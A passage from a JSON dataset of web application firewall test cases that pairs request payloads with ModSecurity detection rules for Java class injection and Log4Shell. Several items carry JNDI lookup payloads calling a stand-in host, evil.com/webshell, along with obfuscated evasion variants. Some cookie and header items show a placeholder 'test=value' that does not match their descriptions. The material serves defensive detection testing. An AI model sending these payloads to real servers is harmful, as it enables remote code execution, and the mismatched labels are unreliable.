], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "org.apache.commons=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"org.apache.commons\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">org.apache.commons</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">org.apache.commons</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=org.apache.commons" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"org.apache.commons\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"org.apache.commons\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword org.apache.commons" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=org.omg.CORBA" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "org.omg.CORBA=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"org.omg.CORBA\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">org.omg.CORBA</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">org.omg.CORBA</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=org.omg.CORBA" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"org.omg.CORBA\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"org.omg.CORBA\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword org.omg.CORBA" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=${jndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on arg foo" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "OWASP CRS test agent ${jndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on User-Agent" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><tag attribute=\"${jndi:ldap://evil.com/webshell}\"/>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit in XML code" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><tag>\"${jndi:ldap://evil.com/webshell}\"</tag>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit in XML code" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=${${env:FOO:-j}ndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=${${::-j}${::-n}${::-d}${::-i}:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=$${env:something:-${env:something:-$}{jndi:ldap://evil.com/webshell}}}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=$\\u007Bjndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on arg foo, with Unicode escape encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944150", "test_description": "Log4J exploit on JSON with URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u007Bjndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ 